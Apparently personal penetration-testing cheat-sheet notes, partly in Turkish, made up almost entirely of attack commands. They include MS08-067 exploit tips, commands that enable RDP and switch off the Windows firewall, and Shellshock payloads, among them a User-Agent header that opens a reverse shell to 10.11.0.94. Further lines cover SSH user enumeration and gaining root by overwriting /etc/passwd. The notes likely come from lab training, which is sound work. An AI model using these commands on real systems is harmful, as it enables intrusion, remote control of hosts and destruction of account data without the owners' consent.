Notes*
Eğer ms08-67 exploiti var olmasına rağmen exploit edilemiyorsa veya encoding hatası alınırsa payload ı değiştir. Daha küçük payloadlar kullan. windows/shell_reverse_tcp gibi. meterpreter kullanma. payload büyük olursa metasploit "Exploit failed: No encoders encoded the buffer successfully." hatasını verir.
**Eğer administrator hesabı pasif ise STATUS_USER_SESSION_DELETED hatası verilir
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
User Yoksa:
ERROR: Failed to open connection - NT_STATUS_LOGON_FAILURE
User ve ama yetki yoksa ERROR:
Cannot connect to svcctl pipe. NT_STATUS_ACCESS_DENIED.
exploitin başarılı olmas ı için IPC$ paylaşımına erişmesi lazım.
"You just need access to the IPC$ share, not a named pipe."
XP:
netsh firewall set opmode mode=DISABLE
New Windows Ver:
netsh advfirewall set allprofiles state off
i686-w64-mingw32-gcc 646.c -lws2_32 -o 646.exe
env x='() { :;}; echo vulnerable' bash -c "ps aux"
env x='() { :;}; /usr/bin/id' /bin/bash -c "/usr/bin/id"
/usr/bin/env x='() { :;}; /usr/bin/id' /bin/bash -c "ps aux"
Find writable files for user:
find / -writable -type f 2>/dev/null | grep -v ^/proc
Find files which have stickey bit on
/bin/find / -perm -4001 -type f 2>/dev/null
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.11.0.94/1234 0>&1
export PATH=$PATH:/usr/bin/
msf > scanner/smb/smb_version
# C
i686-w64-mingw32-gcc hello.c -o hello32.exe # 32-bit
x86_64-w64-mingw32-gcc hello.c -o hello64.exe # 64-bit
# C++
i686-w64-mingw32-g++ hello.cc -o hello32.exe # 32-bit
x86_64-w64-mingw32-g++ hello.cc -o hello64.exe # 64-bit
for user in $(cat users.txt); do python sshuserenum.py --username $user IP; done
$ echo root::0:0:root:/root:/bin/bash > /etc/passwd
then;
su
root is gained!
find / -writable -type d 2>/dev/null
find / -writable -type f 2>/dev/null
Last modified 3yr ago